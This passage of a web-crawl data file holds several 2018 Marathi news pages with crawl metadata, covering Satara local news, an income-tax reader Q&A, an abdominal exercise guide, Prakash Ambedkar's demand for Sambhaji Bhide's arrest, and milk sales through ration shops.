तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00309.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/editions/satara/page/9", "date_download": "2018-09-25T17:17:14Z", "digest": "sha1:5NFMARELOM5VBDBJSBACGOSEZEFAR33V", "length": 9454, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "सातारा Archives - Page 9 of 271 - तरुण भारत | तरुण भारत", "raw_content": "\nतारगाव परिसरातील शेतकऱयांचा रेल्वे अधिकाऱयांना घेराव\nवाठार किरोली : जमिनीचा योग्य मोबदला मिळेपर्यंत रेल्वे दुहेरी करणाचे काम होऊन देणार नसल्याचा, इशारा तारगाव परिसरातील शेतकऱयांनी दिला आहे. शेतकऱयांच्या प्रश्नांना उडवाउडवीचे उत्तरे देणाऱया रेल्वे अधिकाऱयांना तारगाव रेल्वे स्टेशनवर संतापलेल्या शेतकऱयांनी घेराव घातला. याबाबतची अधिक माहिती, सध्या पुणे-मिरज रेल्वे दुहेरी करणाचे काम सुरु आहे. परंतु शेतकऱयांच्या जमिनीची मोजणी व संपादनाची कायदेशीर प्रक्रिया न करता तसेच कोणत्याही शेतकऱयांना जमिनीचा ...Full Article\nचंदुकाका सराफच्या मेगा ड्रॉमध्ये मालुसरे मारूती सियाझचे विजेते\nप्रतिनिधी/ सातारा 1827 पासून शुध्द सोने, पारदर्शक व्यवहार व नाविन्यपूर्ण डिझाईन्स् यासाठी प्रसिध्द असलेल्या चंदुकाका सराफ ऍन्ड सन्स प्रा. लि. यांचे वतीने दरवर्षीप्रमाणे यंदाच्या वर्षासाठी ग्राहकांच्या आग्रहास्तव सौभाग्य अलंकार ...Full Article\nआपटी पुलाचे काम तातडीने मार्गी लावा\nप्रतिनिधी /सातारा : वागदरे ते गाळदेव या रस्त्याचे 4 किलोमीटरचे काम पुर्ण झाले आहे मात्र, पुढील 3 किलोमीटर लांबी ही वनविभागाच्या हद्दीत असल्याने मंजुरीसाठी केंद्र शासनाची परवानगी आवश्यक आहे. ...Full Article\nशिक्षकांसाठी आठवणीतील गाण्याचा कार्यक्रम\nप्रतिनिधी /सातारा : मराठी मनात गेली अनेक वर्षे रुंजी घालणारी गाणी ‘सुर निरागस हो’, शांताबाई शेळकेंचे शारदा स्तवन ‘जय शारदे वागेश्वरी’, ‘सांज ए गोकुळी सावळी सावळी’ अशा अवीट गाण्यांनी ...Full Article\nकब्बडी स्पर्धेत शाहूपुरी विद्यालयास अजिंक्यपद\nप्रतिनिधी /सातारा : सातारा जिल्हा क्रीडा विभागातर्फे किडगाव, (ता. सातारा) येथे आयोजित करण्यात आलेल्या तालुकास्तरीय शालेय क्रीडा स्पर्धेत कब्बडी क्रीडा प्रकारात शाहूपुरी माध्यमिक विद्यालयाच्या मुलींच्या संघाने अजिंक्यपद पटकावत अभिनंदनीय ...Full Article\nदि वाई अर्बन बँकेच्यावतीने सतीशराव मराठेंचा गौरव\nप्रतिनिधी /वाई : भारतीय रिझर्व्ह बँकेचे संचालक म्हणून सहकार क्षेत्रातील अनुभवी व अभ्यासू नेते सतीशराव मराठे यांची निवड झाल्याबद्दल दि वाई अर्बन को. ऑप. बँकेच्यावतीने पुणे येथे नुकताच त्यांचा ...Full Article\nप्रतिनिधी /सातारा : माहिती व जनसंपर्क विभागाकडून प्रत्येक महिन्याला लोकराज्य विशेषांक काढण्यात येतो. लोकराज्य मासिकाच्या नियमित वाचनाने विद्यार्थ्यांचे करियर तर घडवतेच पण ते व्यक्तित्व घडविण्यासही हातभार लावते. ‘वारी’ सारखे ...Full Article\nसरकारी रुग्णालयीन यंत्रणा गेली ‘कोमात’\nसुधीर जाधव /सातारा : सातारा शहरात गेल्या काही दिवसांपासून पडत असलेल्या रिमझिम पावसामुळे वातावरण रोगट बनले असून सर्दी, ताप, खोकला अशा आजारांनी नागरिक त्रस्त झाले आहेत. आजारपणामुळे शहरातील सरकारी ...Full Article\nआदर्श पुरस्कार सोहळा रंगतदार\nशिक्षक म्हणजे प्रेमांचा झरा अभिनेते पुष्कर श्रोत्री, भरत जाधव, आदेश बांदेकर यांनी मांडले मत प्रतिनिधी/ सातारा गुणिले, भागिले.. सांगा माहिती.. वर्गात जे शिकवले.. तेच लिहिले, असे गाणे अभिनेता भरत ...Full Article\nप्रतिनिधी/ म्हसवड सातारा-पंढरपूर महामार्गाच्या सुरू असणाऱया कामावर बुधवारी सायंकाळी रस्त्यावर मुरूम टाकणाऱया डंपरचा उच्च वीजवाहक तारेला स्पर्श होऊन झालेल्या स्पर्किंगमुळे डंपरने पेट घेतला. यात डंपरचे नुकसान झाले. मात्र धाडसी ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00309.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://maharashtratimes.indiatimes.com/business/paishacha-jhad/if-you-do-not-have-your-own-income-you-should-not-fill-the-itr/articleshow/65389817.cms", "date_download": "2018-09-25T18:05:36Z", "digest": "sha1:G4377SMDIQDTTVLFWR2TBDM34GBRCGX5", "length": 16595, "nlines": 140, "source_domain": "maharashtratimes.indiatimes.com", "title": "income tax return: if you do not have your own income, you should not fill the itr - स्वत:चे उत्पन्न नसल्यास विवरणपत्र भरू नये | Maharashtra Times", "raw_content": "\nशिळ घालत संवाद साधणाऱ्या गावची कथा\nशिळ घालत संवाद साधणाऱ्या गावची कथाWATCH LIVE TV\nस्वत:चे उत्पन्न नसल्यास विवरणपत्र भरू नये\nस्वत:चे उत्पन्न नसल्यास विवरणपत्र भरू नये\n>> सीए प्रफुल्ल छाजेड\n> मी एक गृहिणी असून गेल्या आर्थिक वर्षात मी एक बचत खाते सुरू केले आहे. या बचत खात्यात दरमहा सरासरी १० हजार रुपयांची रक्कम जमा होते. माझ्या नावे पाच हजार रुपयांचे रिकरिंग खाते असून त्यात ३५ हजार रुपये जमा आहेत. माझे स्वत:चे कोणत्याही प्रकारचे उत्पन्न नसून माझे पती त्यांच्या खात्यातून ही रक्कम माझ्या खात्यात ट्रान्सफर करतात. या स्थितीत मीदेखील प्राप्तिकर विवरणपत्र दाखल करणे कायद्यानुसार गरजेचे आहे का तसे असल्यास कोणत्या प्रकारचा फॉर्म भरावा लागेल तसे असल्यास कोणत्या प्रकारचा फॉर्म भरावा लागेल उत्पन्न नसलेल्या गृहिणींनी विवरणपत्र दाखल करण्याचे फायदे काय आहेत उत्पन्न नसलेल्या गृहिणींनी विवरणपत्र दाखल करण्याचे फायदे काय आहेत कृपया मार्गदर्शन करावे. - एक वाचक\n- प्राप्तिकर कायद्यानुसार तुमचे उत्पन्न करपात्र असेल तरच विवरणपत्र सादर करणे गरजेचे असते. चालू आर्थिक वर्षात सर्वसाधारण व्यक्तीसाठी करमाफ उत्पन्नाची मर्यादा ही अडीच लाख रुपये आहे. ज्येष्ठ नागरिकांसाठी (ज्यांचे वय ६०हून अधिक व ८०पेक्षा कमी) ही मर्यादा तीन लाख रुपये आहे. तसेच, अतिज्येष्ठ नागरिकांसाठी (ज्यांचे वय ८०पेक्षा जास्त) ही मर्यादा पाच लाख रुपये आहे. तुम्ही दिलेल्या माहितीनुसार तुमचे स्वत:चे काहीच उत्पन्न नसल्याने तुम्हाला विवरणपत्र भरण्याची आवश्यकता नाही.\n> गेल्या आर्थिक वर्षासाठीचे (२०१७-१८) प्राप्तिकर विवरणपत्र मी सादर केले आहे. मात्र या विवरणपत्रात आरोग्यविमा, मुलांची ट्यूशन फी आदी काही तपशील नमूद करण्याचे माझ्याकडून नजरचुकीने राहून गेले आहे. यामुळे फॉर्म क्रमांक १६मधील संबंधित घटकांची माहिती व विवरणपत्रातील माहिती यात तफावत दिसणार आहे. यामुळे प्राप्तिकर खात्याकडून कारवाई होऊ शकते असे मला सांगण्यात आले. यामध्ये तथ्य आहे का आयटीआरमध्ये नव्याने योग्य तपशील भरून देणयासाठी काही उपाय आहे का, याची कृपया माहिती द्यावी. - एक वाचक\n- आर्थिक वर्ष २०१७-१८साठी प्राप्तिकर विवरणपत्र सादर करीत असताना तुमच्याकडून नजरचुकीने काही माहिती देणे राहून गेले असल्यास अथवा काही चुकीचे आकडे दिले गेले असल्यास तुम्ही प्राप्तिकर कायद्याच्या कलम १३९ (५) अंतर्गत सुधारित विवरणपत्र दाखल करू शकता. आर्थिक वर्ष २०१७-१८साठी सुधारित विवरणपत्र दाखल करण्याची मुदत ही ३१ मार्च २०१९ किंवा प्राप्तिकर अधिकाऱ्याने तुमच्या मूळ विवरणपत्राचे मूल्यांकन केल्याची तारीख यापैकी जी अगोदरची असेल ती राहील.\n> मी एक निवृत्त सरकारी अधिकारी आहे. चालू आर्थिक वर्षात पेन्शन व मुदत ठेवींवरील व्याज मिळून ३,२०,००० रुपयांचे उत्पन्न मला अपेक्षित आहे. गेल्या वर्षी १५एच अर्जाची मर्यादा तीन लाख रुपये होती असे समजते. त्यामुळे या वर्षी १५एच अर्ज भरून मी टीडीएस वाचवू शकेन का यंदा स्टॅण्डर्ड डिडक्शन व मुदत ठेवींवरील व्याज यावर अनुक्रमे ४० हजार व ५० हजारांपर्यंत सूट देण्यात आली आहे. त्यामुळे १५एच फॉर्मची मर्यादाही वाढवली आहे का यंदा स्टॅण्डर्ड डिडक्शन व मुदत ठेवींवरील व्याज यावर अनुक्रमे ४० हजार व ५० हजारांपर्यंत सूट देण्यात आली आहे. त्यामुळे १५एच फॉर्मची मर्यादाही वाढवली आहे का तसेच, सेक्शन ८७ए अंतर्गत मला २,५०० रुपयांची सूट मिळेल का तसेच, सेक्शन ८७ए अंतर्गत मला २,५०० रुपयांची सूट मिळेल का - एक वाचक, इंदूर\n- चालू आर्थिक वर्षात तुमचे उत्पन्न ३.२० लाख रुपये असेल तर तुम्ही फॉर्म १५एच भरून देऊ शकता. तसेच, तुमचे उत्पन्न साडेतीन लाख रुपयांपेक्षा कमी असल्यामुळे सेक्शन ८७ए अंतर्गत तुम्हाला २,५०० रुपयांची सूट मिळेल.\nआपण 'पैसा झाला मोठा' सदरासाठी प्रश्न पाठवू शकता. प्रश्नाचा मजकूर शक्य तो टाइप केलेला किंवा किमान सुवाच्य हस्ताक्षरात असावा. पाकिटावर 'पैसा झाला मोठा सदरासाठी' असे स्पष्ट लिहावे. प्रश्न पोस्टाने किंवा कुरियरने पुढील पत्त्यावर पाठवावेतः महाराष्ट्र टाइम्स, टाइम्स ऑफ इंडिया इमारत, दुसरा मजला, डी. एन. रोड, मुंबई ४००००१. आपण आपले प्रश्न mtaskquestions@gmail.com या ईमेलवरही पाठवू शकता.\nमिळवा पैशाचं झाड बातम्या(paishacha jhad News in Marathi) से मराठी बातम्या( Marathi News) तुमच्या मोबाइलवर मिळवण्यासाठी डाउनलोड करा Marathi News App ...आणि प्रत्येक बातमीबाबत राहा अपडेट\npaishacha jhad News याच्याशी संबंधित ताजे अपडेट्स मिळवण्यासाठी मटा ऑनलाइनचे फेसबुक पेज लाइक करा\nसई ताम्हणकर आता 'अशी' दिसतेय\nशनाया निघाली न्यूयॉर्कला, चैन पडेना...\nसापानं लढवलेली युक्ती पाहून थक्क व्हाल\n'तुला पाहते रे'मधील ईशा नेमकी आहे कोण\nकोहली, मीराबाई खेलरत्न पुरस्काराने सन्मानित\nराजस्थानच्या मुख्यमंत्र्यांच्या सुरक्षा रक्षकाने चोरले पैसे\nमुस्लिम मुलासोबत प्रेमसंबंध; पोलिसांची तरुणीला मारहाण\nपती दिसायला सावळा, पत्नीने किस करताना चावली जीभ\nमेणबत्तीच्या प्रकाशात रुग्णांना तपासण्याची सक्ती\nपैशाचं झाड याा सुपरहिट\nवयानुरूप गुंतवणूक कशी करावी\n१५ जी, १५ एच अर्ज दरवर्षी देणे आवश्यक\nकरदात्यांना सुधारित विवरणपत्राचा पर्याय\nस्वत:चे उत्पन्न नसल्यास विवरणपत्र भरू नये\nमटा न्यूज अॅलर्ट सबस्क्राइब करा\nदिवसभरातील ठळक बातम्या पाहा तुमच्या डेक्सस्टॉपवर\n*केव्हाही ब्राउजर सेटिंग्ज बदलून नोटिफिकेशन्स ऑफ करू शकता.\nमटा ऑनलाइन च्या अॅपसोबत\n1स्वत:चे उत्पन्न नसल्यास विवरणपत्र भरू नये...\n2क्रेडिट रिस्क फंडाची मागणी का वाढलीय\n3‘सेंद्रीय पदार्थांचा वापरखर्चांत वाढ करणारा’...\n4‘सेंद्रीय पदार्थांचा वापरखर्चांत वाढ करणारा’...\n5‘सेंद्रीय पदार्थांचा वापरखर्चांत वाढ करणारा’...\n6पैसा झाला मोठा - ८०टीटीबी अंतर्गत सूट व्यक्तिनिहाय...\n7पैसा झाला मोठा - ८०टीटीबी अंतर्गत सूट व्यक्तिनिहाय...\n8पैसा झाला मोठा - बाँडवर मुदतीनंतरच व्याज...\n9पैसा झाला मोठा - मागील आठ वर्षांची कागदपत्रे महत्त्वाची...\n10पैसा झाला मोठा - मागील आठ वर्षांची कागदपत्रे महत्त्वाची...", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00309.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://maharashtratimes.indiatimes.com/lifestyle-news/health-news/steps-guide-to-absolute-abs/articleshow/65115143.cms", "date_download": "2018-09-25T18:14:45Z", "digest": "sha1:CODRIGVH3AUVV4YUAECZRAFJC427I36V", "length": 13426, "nlines": 147, "source_domain": "maharashtratimes.indiatimes.com", "title": "health news News: steps guide to absolute abs - सोडू नका अॅब्जची पाठ | Maharashtra Times", "raw_content": "\nशिळ घालत संवाद साधणाऱ्या गावची कथा\nशिळ घालत संवाद साधणाऱ्या गावची कथाWATCH LIVE TV\nसोडू नका अॅब्जची पाठ\nसोडू नका अॅब्जची पाठ\nतुम्ही आरशासमोर उभे राहिलात की तुम्हाला काय वाटतं एक तर आपण बारीक झालो आहोत असा भास होतो किंवा मग पोट सुटलंय म्हणून वाईट वाटतं. तर व्यायाम करणाऱ्या मंडळींचे पिळदार स्नायू चटकन आपलं लक्ष वेधून घेतात. पण तुम्हला माहीत आहे का एक तर आपण बारीक झालो आहोत असा भास होतो किंवा मग पोट सुटलंय म्हणून वाईट वाटतं. तर व्यायाम करणाऱ्या मंडळींचे पिळदार स्नायू चटकन आपलं लक्ष वेधून घेतात. पण तुम्हला माहीत आहे का की प्रत्येक व्यक्तीच्या शरीराचं एक मूळ वळण असतं. काहीही केलं तरी ते बदलता येत नाही. त्यामुळे व्यायाम करताना आपली शरीरयष्टी विचारात घेणं खूप महत्त्वाचं आहे. त्यानुसार प्रत्येकानं व्यायाम केला पाहिजे. तसंच अनेकांना प्रश्न पडतो की, एका अवयवाचा व्यायाम करताना इतर अवयवाचे व्यायाम का करावे लागतात की प्रत्येक व्यक्तीच्या शरीराचं एक मूळ वळण असतं. काहीही केलं तरी ते बदलता येत नाही. त्यामुळे व्यायाम करताना आपली शरीरयष्टी विचारात घेणं खूप महत्त्वाचं आहे. त्यानुसार प्रत्येकानं व्यायाम केला पाहिजे. तसंच अनेकांना प्रश्न पडतो की, एका अवयवाचा व्यायाम करताना इतर अवयवाचे व्यायाम का करावे लागतात आज या लेखाच्या माध्यमातून तुमच्या या शंकेचं निरसन करु या.\nमला ओटी पोटाजवळच्या स्नायूंची ताकद वाढवायची आहे. अॅब्ज हवे आहेत. पण मग मी पाठीचे व्यायाम कशासाठी करायचे\nशरीरातील अवयवांचा एकमेकांशी खूप जवळचा संबंध असतो. किंबहुना सगळेच एकमेकांवर अवलंबून असतात. आपलं शरीर हे एक अद्भुत यंत्र आहे. त्यामुळे एका अवयवाची ताकद वाढवायची आणि दुसऱ्याला कमकुवत ठेवायचं असं करून चालणार नाही.\nओटी पोटाजवळच्या स्नायूंची ताकद वाढवण्यासाठीचे व्यायामप्रकार\nपाठीवर झोपून पाय गुडघ्यातून वाकवून ते वर घ्यावेत. हात डोक्यामागे ठेवावेत. मग जमिनीवरून खांदे वर उचलावेत आणि त्याचवेळी दुमडलेले पाय छातीजवळ घ्यावेत आणि पुन्हा सुरुवातीच्या स्थितीत जावं. बारा क्रंचेसचे दोन सेट्स दररोज करू शकता.\nनव्वद अंशांचा उलटा कोन\nपाठीवर झोपून गुडघे नव्वद अंशांच्या कोनात वाकवावेत. म्हणजे पाय बाहेरच्या बाजूला अधांतरी राहतात. मग पोट आत घेऊन गुडघे छातीला लावण्याचा प्रयत्न करावा आणि पुन्हा सुरुवातीच्या स्थितीत यावं. हा व्यायाम हळूहळू वाढवत न्यायला हवा. एकदम स्नायूंवर ताण देता कामा नये.\nपाठीवर झोपावं आणि पाय वर उचलावेत. पाय हवेत तरंगू द्यावेत. हात डोक्यामागे ठेवून मानेला आधार द्यावा. पोट आत घेऊन एक गुडघा वाकवून तो छातीजवळ आणावा. आणि त्याचवेळी खांदे वर उचलून नाक गुडघ्याला लावण्याचा प्रयत्न करावा. पुन्हा पूर्व स्थितीत जावं. दुसऱ्या पायानेसुद्धा अशाच पद्धतीनं व्यायाम करावा.\nया प्रकारासाठी मॅट असणं आवश्यक आहे. पोटावर झोपा. डावा हात आणि उजवा पाय ताठ ठेवून एकाचवेळी वर उचलायचा आहे. पुन्हा एकदा पहिल्या स्थितीत जावं. उजवा हात आणि डावा पाय वर घेऊन सुद्धा हा व्यायाम करायचा आहे. दोन्ही बाजूंनी हा व्यायाम केल्यास पोटाजवळील स्नायूंची ताकद वाढते.\nपोटावर झोपा. दोन्ही हात माकड हाडाजवळ ठेवा आणि शरीर जमिनीपासून वर उचलण्याचा प्रयत्न करा. ताण मानेवर नाही तर पाठीवर येणं अपेक्षित आहे, हे लक्षात घ्या.\nशब्दांकन- गौरी आंबेडकर, रुईया कॉलेज\nमिळवा हेल्थ वेल्थ बातम्या(health news News in Marathi) से मराठी बातम्या( Marathi News) तुमच्या मोबाइलवर मिळवण्यासाठी डाउनलोड करा Marathi News App ...आणि प्रत्येक बातमीबाबत राहा अपडेट\nhealth news News याच्याशी संबंधित ताजे अपडेट्स मिळवण्यासाठी मटा ऑनलाइनचे फेसबुक पेज लाइक करा\nसई ताम्हणकर आता 'अशी' दिसतेय\nशनाया निघाली न्यूयॉर्कला, चैन पडेना...\nसापानं लढवलेली युक्ती पाहून थक्क व्हाल\n'तुला पाहते रे'मधील ईशा नेमकी आहे कोण\nकोहली, मीराबाई खेलरत्न पुरस्काराने सन्मानित\nराजस्थानच्या मुख्यमंत्र्यांच्या सुरक्षा रक्षकाने चोरले पैसे\nमुस्लिम मुलासोबत प्रेमसंबंध; पोलिसांची तरुणीला मारहाण\nपती दिसायला सावळा, पत्नीने किस करताना चावली जीभ\nमेणबत्तीच्या प्रकाशात रुग्णांना तपासण्याची सक्ती\nहेल्थ वेल्थ याा सुपरहिट\nतिरळेपणा आणि त्यावरील उपाय\nलहान मुलांना चष्मा का\nदारूचा एक पेगसुद्धा जीवावर बेतू शकतो\nमटा न्यूज अॅलर्ट सबस्क्राइब करा\nदिवसभरातील ठळक बातम्या पाहा तुमच्या डेक्सस्टॉपवर\n*केव्हाही ब्राउजर सेटिंग्ज बदलून नोटिफिकेशन्स ऑफ करू शकता.\nमटा ऑनलाइन च्या अॅपसोबत\n1सोडू नका अॅब्जची पाठ...\n4वाद नको, समजून घ्या\n9वाद नको, समजून घ्या\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00309.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "http://amp.esakal.com/maharashtra/mumbai-maharashtra-news-sambhaji-bhide-arrest-government-prakash-ambedkar-104775", "date_download": "2018-09-25T16:46:00Z", "digest": "sha1:SVU6MHVDRHASPTV23NCFY2XAHPMNUCPA", "length": 7506, "nlines": 51, "source_domain": "amp.esakal.com", "title": "mumbai maharashtra news sambhaji bhide arrest government prakash ambedkar भिडेंना अटक करण्याची सरकारची इच्छाशक्ती नाही - प्रकाश आंबेडकर | eSakal", "raw_content": "\nभिडेंना अटक करण्याची सरकारची इच्छाशक्ती नाही - प्रकाश आंबेडकर\nसकाळ वृत्तसेवा | शुक्रवार, 23 मार्च 2018\nमुंबई - कोरेगाव भीमामधील हिंसाचाराप्रकरणी मिलिंद एकबोटे यांना अटक झाली आहे; पण या प्रकरणातील दुसरे सूत्रधार संभाजी भिडे अजूनही बाहेर आहेत. हे पचनी पडत नाही. त्यांना अटक करण्याची सरकारची इच्छाशक्ती नसल्याचा आरोप भारिप बहुजन महासंघाचे अध्यक्ष प्रकाश आंबेडकर यांनी गुरुवारी पत्रकार परिषदेत केला.\nमुंबई - कोरेगाव भीमामधील हिंसाचाराप्रकरणी मिलिंद एकबोटे यांना अटक झाली आहे; पण या प्रकरणातील दुसरे सूत्रधार संभाजी भिडे अजूनही बाहेर आहेत. हे पचनी पडत नाही. त्यांना अटक करण्याची सरकारची इच्छाशक्ती नसल्याचा आरोप भारिप बहुजन महासंघाचे अध्यक्ष प्रकाश आंबेडकर यांनी गुरुवारी पत्रकार परिषदेत केला.\nगुन्हा नोंदवल्यानंतर आरोपपत्र दाखल झालेल्या व्यक्तीला चौकशीला बोलावणे बंधनकारक असते; मात्र भिडे यांना चौकशीला बोलावले गेले नाही, अशी टीकाही त्यांनी केली. भिडे यांना अटक झाल्यास वातावरणातील तणाव निवळेल. त्यांच्या अटकेच्या मागणीसाठी निघणारा माझा मोर्चा अडवल्यास राज्यभर 144 कलम लागू करावे लागेल, असेही ते म्हणाले.\n\"ऍट्रॉसिटी'बाबतचा निर्णय दुर्दैवी ऍट्रॉसिटीबाबत सर्वोच्च न्यायालयाने दिलेला निकाल दुर्दैवी असून, या निर्णयाचा पुनर्विचार व्हावा, अशी मागणी आंबेडकर यांनी केली. या निर्णयामुळे संबंधितांना अभय देण्याचे काम न्यायालयाने केले आहे. असे निर्णय झाल्यास लोकांचा न्यायालयावरील विश्‍वास कमी होईल. हा मुद्दा \"लार्जर बेंच'पुढे न्यायला हवा, असे मतही त्यांनी व्यक्त केले.\nराफेल खरेदी व्यवहाराची संसदीय समितीमार्फत चौकशी करा- अखिलेश\nनवी दिल्ली: राफेल लढाऊ विमान खरेदी प्रकरणावरुन देशातील राजकीय वातवरण तापले आहे. फ्रान्सचे माजी अध्यक्ष फ्रान्स्वा ओलाँद यांच्या राफेल...\nपुण्यात विसर्जन न करण्याचा काही मंडळांचा निर्णय\nपुणे : उच्च न्यायालयाने \"स्पीकर'वरील बंदी कायम ठेवल्याने पुण्यातील काही गणेश मंडळांनी विसर्जन मिरवणुकीत सहभागी न होण्याचा आणि गणेशमूर्ती विसर्जन न...\nएकीचे बळ... मिळेल फळ\nविजया बॅंक, देना बॅंक आणि बॅंक ऑफ बडोदा या तीन बॅंकांच्या एकत्रीकरणाची घोषणा सरकारनं केली आहे. भारतीय स्टेट बॅंकेत सहयोगी बॅंकांचं विलिनीकरण...\nमुंबईतील सराईत चोरट्याला ठाण्यात अटक ; 11 दुचाकी, मोबाईल हस्तगत\nठाणे : मुंबई, नवी मुंबई आणि ठाणे परिसरातील अनेक दुचाकी चोरणाऱ्या नासीर खान (रा. विक्रोळी-पार्कसाईट) याला कासारवडवली पोलिसांनी अटक केली....\nमंडळांनी न्यायालयाच्या निर्णयाचा आदर ठेवावा : गिरीश बापट\nपुणे : डीजे सिस्टीमसंदर्भात न्यायालयाने दिलेल्या निर्णयाचा आदर ठेवून विसर्जन मिरवणुकीत गणेश मंडळांनी सहभागी व्हावे आणि गणेशोत्सवाची शांततेत सांगता...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00310.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://amp.esakal.com/pune/milk-and-milk-products-ration-shops-108917", "date_download": "2018-09-25T16:53:37Z", "digest": "sha1:RVMBELE7U5GELZT3MNJLB6AXYWS6FLOH", "length": 8673, "nlines": 47, "source_domain": "amp.esakal.com", "title": "Milk and milk products in ration shops रेशन दुकानात दूध आणि दुधाचे पदार्थ | eSakal", "raw_content": "\nरेशन दुकानात दूध आणि दुधाचे पदार्थ\nविवेक शिंदे | बुधवार, 11 एप्रिल 2018\nमहाळुंगे पडवळ - आरे ब्रॅंडचे दूध व दुग्धजन्य पदार्थ राज्यातील सर्व अधिकृत रेशन दुकानांतून विक्री करण्यास राज्य सरकारच्या अन्न, नागरी पुरवठा व ग्राहक संरक्षण विभागाने नुकतीच परवानगी दिली. सरकारच्या या निर्णयामुळे राज्यातील स्वस्त धान्य दुकानदारांकडे आता दूध उपलब्ध होणार आहे.\nमहाळुंगे पडवळ - आरे ब्रॅंडचे दूध व दुग्धजन्य पदार्थ राज्यातील सर्व अधिकृत रेशन दुकानांतून विक्री करण्यास राज्य सरकारच्या अन्न, नागरी पुरवठा व ग्राहक संरक्षण विभागाने नुकतीच परवानगी दिली. सरकारच्या या निर्णयामुळे राज्यातील स्वस्त धान्य दुकानदारांकडे आता दूध उपलब्ध होणार आहे.\nराज्यातील सर्व अधिकृत रेशन दुकानदारांचे उत्पन्न वाढावे, यासाठी महाराष्ट्र राज्य सहकारी दूध महासंघाचे (महानंद) दूध व दुग्धजन्य पदार्थ विक्रीस ठेवण्याचा निर्णय घेण्यात आला आहे. त्याच धर्तीवर आरे ब्रॅंडचे दूध व दुग्धजन्य पदार्थांचे वितरण राज्यातील रेशन दुकानांतून विक्री करण्याची परवानगी देण्याची विनंती कृषी, पशुसंवर्धन, दुग्ध व मत्स्य व्यवसाय विकास विभागाने केली होती. त्यानुसार परवानगी देण्याचा प्रस्ताव सरकारच्या विचाराधीन होता. शासकीय दूध योजनेच्या, तसेच आरे ब्रॅंडच्या अधिकृत वितरकांमार्फत राज्यातील रेशन दुकानदारांपर्यंत या योजनांचे दूध वितरण करण्यात येईल. दूध व दुग्धजन्य पदार्थांच्या विक्रीपोटी मिळणाऱ्या कमिशनसाठी रेशन दुकानदारांचा संबंधित दूध योजनांच्या वितरकांशी संबंध साधणे आवश्‍यक आहे. हा व्यवहार दुग्धशाळा, आरे ब्रॅंड व संबंधित रेशन दुकानदार यांच्यामध्ये राहील, यात सरकारचा कोणत्याही प्रकारचा सहभाग अथवा हस्तक्षेप राहणार नाही, असे या निर्णयात म्हटले आहे.\n‘सरकारने झुलवत ठेवले’ ‘‘सरकारकडे रेशन दुकानदारांनी मानधनवाढीसाठी वारंवार मागणी केली आहे. मात्र, मानधनवाढ न करता सरकारने फसव्या घोषणा देऊन आम्हाला झुलवत ठेवले. यापूर्वी सरकारने रेशन दुकानांतून भाजीपाला, बी-बियाणे विक्रीसारखे निर्णय घेतले होते. त्यासाठी आवश्‍यक सुविधा उपलब्ध करून दिल्या जात नाहीत. त्यामुळे रेशन दुकानदारांनी त्याबाबत फारसा उत्साह दाखविला नव्हता. आता दूध आणि दुग्धजन्य पदार्थांची विक्री करण्याची घोषणा केली आहे,’’ असे आंबेगाव तालुका स्वस्त धान्य दुकानदार संघटनेचे सदस्य सुभाष पडवळ यांनी सांगितले.\n#GyanGanesh बुद्धीला मिळाली कष्टाची साथ अन्‌...\nसमाजाच्या विविध स्तरांत आणि क्षेत्रांत बुद्धीच्या बळावर वेगळी वाट शोधून त्यात यश मिळविणाऱ्यांची काही वानवा नाही. ‘सकाळ’ने ‘ज्ञान गणेश’ सदरात...\nमध्य महाराष्ट्रात मुसळधारचा अंदाज\nपुणे - मध्य महाराष्ट्रात पुढील चोवीस तासांमध्ये मुसळधार पाऊस पडेल, असा इशारा हवामान खात्यातर्फे शुक्रवारी देण्यात आला. पुण्यात अनंत चतुर्दशीच्या...\nहिंजवडी -शिवाजीनगर मेट्रोला केंद्राची मंजुरी\nपुणे - पुणे महनगर प्रदेश विकास प्राधिकरणाने (पीएमआरडीए) हाती घेतलेल्या हिंजवडी ते शिवाजीनगर या मेट्रो प्रकल्पावर केंद्र सरकारच्या मान्यतेची...\nनाशिक - सरकारी नोकरभरतीच्या सदोष पोर्टलच्या आधारे मध्य प्रदेशप्रमाणे महाराष्ट्रात आगामी 72 हजार पदांच्या भरतीत गैरव्यवहार होऊ शकतो. त्यामुळे सरकारी...\nलोकसभेच्या तोंडावर राजकीय छत्र्या\nमुंबई - लोकसभा निवडणुकीचे पडघम वाजू लागले असताना देशात नव्या राजकीय पक्षांचे पेव फुटले आहे. २० जून ते १८ ऑगस्ट २०१८ या दरम्यानच्या अवघ्या ६५ दिवसांत...\n", "cc_segment": 